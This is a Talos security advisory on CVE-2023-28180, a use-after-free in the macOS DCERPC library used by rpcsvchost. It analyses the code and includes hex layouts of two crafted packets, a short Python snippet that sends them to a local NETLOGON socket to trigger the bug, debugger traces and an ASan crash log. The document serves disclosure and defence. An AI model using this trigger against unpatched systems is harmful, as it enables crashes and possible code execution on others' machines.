Talos Vulnerability Report

TALOS-2022-1678

Apple DCERPC alter context response use-after-free vulnerability

July 13, 2023
CVE Number

CVE-2023-28180

SUMMARY

A use-after-free vulnerability exists in the state machine of DCERPC library as used in Apple macOS 12.6.1 that can lead to a use-after-free condition. A specially-crafted network packet can lead to reuse of a previously freed memory which can lead to arbitrary code execution. An authenticated remote attacker can send a network request to trigger this vulnerability. A local attacker can write to a local socket to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Apple macOS 12.6.1

PRODUCT URLS

macOS - https://apple.com

CVSSv3 SCORE

7.5 - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-457 - Use of Uninitialized Variable

DETAILS

DCERPC is a remote procedure call protocol that is the basis for RPC functionality on Windows. DCERPC framework on macOS implements this protocol and enables interoperability of Windows network services on macOS. For example, it is used on top of SMB, through which support for Active Directory is implemented. DCERPC framework is employed by rpcsvchost binary, which opens a number of UNIX sockets that expose different RPC functionality.

The DCERPC framework implements a state machine with state transitions controlled by events and associated actions. There exists a sequence of DCERPC packets that can short circuit this state machine and result in premature freeing of a packet backing buffer. Pointers to freed memory are subsequently reused. The issue stems from the receive_dispatch function while processing events based on received packets:

    {
        RPC_CN_ASSOC_EVAL_NETWORK_EVENT (assoc,
                                         packet_info_table[ptype].event,
                                         fragbuf_p,
                                         st);
    }

Macro RPC_CN_ASSOC_EVAL_NETWORK_EVENT is as follows:

#define RPC_CN_ASSOC_EVAL_NETWORK_EVENT(assoc, event_id, fragbuf, st)\
{\
    RPC_CN_ASSOC_SM_TRC (assoc, event_id);\
    st = rpc__cn_sm_eval_event ((event_id),\                       [1]
                                (dce_pointer_t) (fragbuf),\
                                (dce_pointer_t) (assoc),\
                                &((assoc)->assoc_state));\
    assoc->assoc_flags &= ~RPC_C_CN_ASSOC_SCANNED;\
    if ((fragbuf) != NULL)\
    {\
        (*(fragbuf)->fragbuf_dealloc)((fragbuf));\                   [2]
    }\
    RPC_CN_ASSOC_SM_TRC_STATE (assoc); \
}

The above macro first calls event evaluation function at [1] and then proceeds to free the buffer associated with this packet at [2]. Excerpt from function rpc__cn_sm_eval_event bellow:

 */
next_event.event_id = event_id;
next_event.event_param = event_parameter;

/*
 * Process the first event and any events which get added.
 */
more_events = true;
while (more_events)
{

...

        state_entry_p = sm->state_tbl[(sm->cur_state -
		RPC_C_CN_STATEBASE)];

    /*
     * Look up the index of the action routine using the current
     * state and the id of the event being processed.
     */
    action_index = state_entry_p[(next_event.event_id -
		RPC_C_CN_STATEBASE )].action;
        
        
        
    sm->cur_event = next_event.event_id;
    sm->action_status =
	(*(sm->action_tbl[action_index]))
	(spc_struct, next_event.event_param, sm);                             [3]
     }

    /*
     * Get the next event, if any, off the event list in the
     * state machine control block.  RPC_CN_SM_GET_NEXT_EVENT
 * will set more_events to true or false depending on
 * whether there are more events to process.
     */
    RPC_CN_SM_GET_NEXT_EVENT (sm, &next_event, more_events);            

The above function uses the state machine in sm to process events in a loop by calling associated actions at [3] as specified by the global table of actions rpc_g_cn_server_assoc_act_tbl:

 GLOBAL rpc_cn_sm_action_fn_t  rpc_g_cn_server_assoc_act_tbl [] =
{
    accept_assoc_action_rtn,
    reject_assoc_action_rtn,
    add_assoc_to_grp_action_rtn,
    rem_assoc_from_grp_action_rtn,
    do_alter_cont_req_action_rtn,
    send_alter_cont_resp_action_rtn,
    do_authent3_action_rtn,
    do_assoc_req_action_rtn,
    send_shutdown_req_action_rtn,
    incr_active_action_rtn,
    decr_active_action_rtn,
    abort_assoc_action_rtn,
    mark_assoc_action_rtn,
    cancel_calls_action_rtn,
    accept_add_action_rtn,
    rem_mark_abort_action_rtn,
    rem_mark_cancel_action_rtn,
    incr_do_alter_action_rtn,
    send_decr_action_rtn,
    mark_abort_action_rtn,
    rem_mark_abort_can_action_rtn,
    rpc__cn_assoc_sm_protocol_error,
    do_assoc_wait_action_rtn,
    do_assoc_action_rtn
};

To illustrate the issue, we’ll need two DCERPC packets. First one has a form of a BIND packet and is as follows:

0500 version
0b   BIND packet type
03   flags
10000000 
4800 size
0000 
01000000 call id
0000000000000000000000000000 padding 
000000000000000000000000000000000000000000000000000000000000 padding
000000000000000000000000 more padding

The second packet is a partial BIND_ACK PDU:

0500  version
0c    BIND_ACK type
00    flags
00000000  
0000  size

The above packet is incomplete, but is enough to fool the code into processing it. Note that BIND_ACK should only come from a server as a reply to BIND PDU Sending it from the client side doesn’t make sense according to the DCERPC specification. However, depending on the state machine state, a BIND_ACK packet can be processed.

Changes in the state machine can be observed by setting a breakpoint at [3] and observing which functions are being called. If packet 1 and 2 are sent separately, like so:

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/var/rpc/ncalrpc/NETLOGON")
sock.send(pkt1)
print(len(sock.recv(1024)))
sock.send(pkt2)
print(len(sock.recv(1024)))

We can observe the following sequence of actions in the debugger:

5: address = DCERPC[0x0000000000300991], locations = 1, resolved = 1, hit count = 26
    Breakpoint commands:
      image lookup -a $rax
      c

  5.1: where = DCERPC`rpc__cn_sm_eval_event + 1633 at cnsm.c:346:3, address = 0x000000010041f991, resolved, hit count = 26
  (lldb)  image lookup -a $rax
      Address: DCERPC[0x00000000002ef0e0] (DCERPC.__TEXT.__text + 3060928)
      Summary: DCERPC`do_assoc_action_rtn at cnsassm.c:3673

(lldb)  c
Process 83432 resuming

Command #2 'c' continued the target.
(lldb)  image lookup -a $rax
      Address: DCERPC[0x00000000002dfe00] (DCERPC.__TEXT.__text + 2998752)
      Summary: DCERPC`create_group_id_action_rtn at cnsasgsm.c:666

(lldb)  c
Process 83432 resuming

Command #2 'c' continued the target.
(lldb)  image lookup -a $rax
      Address: DCERPC[0x00000000002edbd0] (DCERPC.__TEXT.__text + 3055536)
      Summary: DCERPC`accept_add_action_rtn at cnsassm.c:2974

(lldb)  c
Process 83432 resuming

Command #2 'c' continued the target.
(lldb)  image lookup -a $rax
      Address: DCERPC[0x00000000002dff60] (DCERPC.__TEXT.__text + 2999104)
      Summary: DCERPC`incr_assoc_count_action_rtn at cnsasgsm.c:729

(lldb)  c
Process 83432 resuming

In essence, the second packet doesn’t reach code at [3]. But, if the packets are sent together, like so:

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/var/rpc/ncalrpc/NETLOGON")
sock.send(pkt1+pkt2)
print(len(sock.recv(1024)))

We can observe the following sequence of actions:

(lldb)  image lookup -a $rax
      Address: DCERPC[0x00000000002ef0e0] (DCERPC.__TEXT.__text + 3060928)
      Summary: DCERPC`do_assoc_action_rtn at cnsassm.c:3673

(lldb)  c
Process 83437 resuming

Command #2 'c' continued the target.
(lldb)  image lookup -a $rax
      Address: DCERPC[0x00000000002dfe00] (DCERPC.__TEXT.__text + 2998752)
      Summary: DCERPC`create_group_id_action_rtn at cnsasgsm.c:666

(lldb)  c
Process 83437 resuming

Command #2 'c' continued the target.
(lldb)  image lookup -a $rax
      Address: DCERPC[0x00000000002edbd0] (DCERPC.__TEXT.__text + 3055536)
      Summary: DCERPC`accept_add_action_rtn at cnsassm.c:2974

(lldb)  c
Process 83437 resuming

Command #2 'c' continued the target.
(lldb)  image lookup -a $rax
      Address: DCERPC[0x00000000002dff60] (DCERPC.__TEXT.__text + 2999104)
      Summary: DCERPC`incr_assoc_count_action_rtn at cnsasgsm.c:729

(lldb)  c
Process 83437 resuming

Command #2 'c' continued the target.
Process 83437 stopped
* thread #16, stop reason = breakpoint 3.1
    frame #0: 0x00000001003fa77f DCERPC`receive_dispatch(assoc=0x000061600000ff80) at cnrcvr.c:1256:13
Target 0: (rpcsvchost) stopped.
(lldb) c
Process 83437 resuming
(lldb)  image lookup -a $rax
      Address: DCERPC[0x00000000002ee2c0] (DCERPC.__TEXT.__text + 3057312)
      Summary: DCERPC`send_decr_action_rtn at cnsassm.c:3326

In the above, another call to RPC_CN_ASSOC_EVAL_NETWORK_EVENT is made and another action is executed at [3], action send_decr_action_rtn. Looking up the code of send_decr_action_rtn we can see that it’s mostly a wrapper around send_alter_cont_resp_action_rtn, which contains the following:

    /*
     * If we have security, we may have to break it apart.
     */
    if (RPC_CN_PKT_AUTH_TLR_PRESENT (req_header))
    {
        send_frag_resp_pdu(assoc, fragbuf, req_header);
    }
    else
    {
        /*
         * Just send the PDU and free the fragbuf.
         */
        rpc__cn_assoc_send_fragbuf (assoc,                                        [4]
                                    fragbuf,
                                    assoc->security.assoc_current_sec_context,
                                    true,
                                    &(assoc->assoc_status));
    }

If the request doesn’t have an authentication header associated with it, the code ends up at a call to rpc__cn_assoc_send_fragbuf at [4] which, as the comment suggests, sends the buffer and frees it:

/*
 * Now actually send the PDU.
 */
rpc__cn_assoc_send_frag (assoc, &iovector, sec, st);              

/*
 * Free up the fragment buffer we used whether the send
 * succeeded or failed.
 */
if (freebuf)
    (*fragbuf->fragbuf_dealloc)(fragbuf);                               [5]

The deallocation function for the buffer is called at [5] and the function returns, unwinding the event handling all the way back to a call to rpc__cn_sm_eval_event at [1]. As we already observed, at [2], the same fragment buffer is tested and its deallocation function is dereferenced again.

This immediatelly constitutes a use-after-free condition that would potentially result in a double free if it weren’t for the fact that, as part of previous deallocation fragbuf_dealloc wasn’t set to NULL, and memory returned into a table of free memory. A lot of code is executed between the freeing of the buffer at [5] and reuse at [2]. DCERPC continues to process scheduled events before returning, it is possible that freed memory location could be reallocated. With sufficient control over reallocation, the fragbuf_dealloc function pointer could be controlled, which would result in arbitrary code execution.

On macOS, the vulnerable code could be reached over network, after authentication, through SMB protocol. However, it can also be triggered through access to local UNIX sockets in /var/rpc/ncalrpc/* via a regular user.

Crash Information

==82016==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62f00000c5a0 at pc 0x0001003aface bp 0x700009e62ce0 sp 0x700009e62cd8
READ of size 8 at 0x62f00000c5a0 thread T15
==82016==WARNING: invalid path to external symbolizer!
==82016==WARNING: Failed to use and restart external symbolizer!
    #0 0x1003afacd in rpc__cn_call_end+0x9fd (.DCERPC:x86_64+0x290acd)
    #1 0x1003f8883 in receive_dispatch+0x8653 (.DCERPC:x86_64+0x2d9883)
    #2 0x1003edf60 in rpc__cn_network_receiver+0x1b40 (.DCERPC:x86_64+0x2cef60)
    #3 0x1001249e2 in proxy_start+0x1e2 (.DCERPC:x86_64+0x59e2)
    #4 0x7fff6d7d3108 in _pthread_start+0x93 (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x6108)
    #5 0x7fff6d7ceb8a in thread_start+0xe (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x1b8a)

0x62f00000c5a0 is located 24 bytes to the right of 49544-byte region [0x62f000000400,0x62f00000c588)
allocated by thread T15 here:
    #0 0x1005a74f0 in wrap_malloc+0xa0 (.libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x484f0)
    #1 0x100303d5d in rpc__mem_alloc+0x1d (.DCERPC:x86_64+0x1e4d5d)
    #2 0x100302976 in rpc__list_element_alloc+0xb96 (.DCERPC:x86_64+0x1e3976)
    #3 0x1003f65b3 in receive_dispatch+0x6383 (.DCERPC:x86_64+0x2d75b3)
    #4 0x1003edf60 in rpc__cn_network_receiver+0x1b40 (.DCERPC:x86_64+0x2cef60)
    #5 0x1001249e2 in proxy_start+0x1e2 (.DCERPC:x86_64+0x59e2)
    #6 0x7fff6d7d3108 in _pthread_start+0x93 (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x6108)
    #7 0x7fff6d7ceb8a in thread_start+0xe (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x1b8a)

Thread T15 created by T4 here:
    #0 0x1005a167c in wrap_pthread_create+0x5c (.libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4267c)
    #1 0x1001245bb in dcethread_create+0x3fb (.DCERPC:x86_64+0x55bb)
    #2 0x100124c9c in dcethread_create_throw+0x2c (.DCERPC:x86_64+0x5c9c)
    #3 0x1003a16df in rpc__cn_assoc_acb_create+0x47f (.DCERPC:x86_64+0x2826df)
    #4 0x100302e84 in rpc__list_element_alloc+0x10a4 (.DCERPC:x86_64+0x1e3e84)
    #5 0x10038bee7 in rpc__cn_assoc_acb_alloc+0x107 (.DCERPC:x86_64+0x26cee7)
    #6 0x1003927a1 in rpc__cn_assoc_listen+0x251 (.DCERPC:x86_64+0x2737a1)
    #7 0x1003db93e in rpc__cn_network_select_dispatch+0x12ce (.DCERPC:x86_64+0x2bc93e)
    #8 0x100364f4f in lthread_loop+0x65f (.DCERPC:x86_64+0x245f4f)
    #9 0x100363dbc in lthread+0x28c (.DCERPC:x86_64+0x244dbc)
    #10 0x1001249e2 in proxy_start+0x1e2 (.DCERPC:x86_64+0x59e2)
    #11 0x7fff6d7d3108 in _pthread_start+0x93 (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x6108)
    #12 0x7fff6d7ceb8a in thread_start+0xe (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x1b8a)

Thread T4 created by T2 here:
    #0 0x1005a167c in wrap_pthread_create+0x5c (.libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4267c)
    #1 0x1001245bb in dcethread_create+0x3fb (.DCERPC:x86_64+0x55bb)
    #2 0x100124c9c in dcethread_create_throw+0x2c (.DCERPC:x86_64+0x5c9c)
    #3 0x100363ad3 in rpc__nlsn_activate_desc+0xc3 (.DCERPC:x86_64+0x244ad3)
    #4 0x10035bd8b in rpc_server_listen+0x47b (.DCERPC:x86_64+0x23cd8b)
    #5 0x10000316b in run_dcerpc_svc(void*)+0x1c (/usr/libexec/rpcsvchost:x86_64+0x10000316b)
    #6 0x7fff6d7d3108 in _pthread_start+0x93 (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x6108)
    #7 0x7fff6d7ceb8a in thread_start+0xe (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x1b8a)

Thread T2 created by T0 here:
    #0 0x1005a167c in wrap_pthread_create+0x5c (.libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4267c)
    #1 0x100002c1f in main+0x13ff (/usr/libexec/rpcsvchost:x86_64+0x100002c1f)
    #2 0x7fff6d5cecc8 in start+0x0 (/usr/lib/system/libdyld.dylib:x86_64+0x1acc8)

SUMMARY: AddressSanitizer: heap-buffer-overflow (.DCERPC:x86_64+0x290acd) in rpc__cn_call_end+0x9fd
Shadow bytes around the buggy address:
  0x1c5e00001860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c5e00001870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c5e00001880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c5e00001890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c5e000018a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c5e000018b0: 00 fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa
  0x1c5e000018c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c5e000018d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c5e000018e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c5e000018f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c5e00001900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
VENDOR RESPONSE

Fixed by Apple on 2023-03-27, patch information available at: https://support.apple.com/en-us/HT213670

TIMELINE

2022-12-06 - Vendor Disclosure
2023-03-27 - Vendor Patch Release
2023-07-13 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.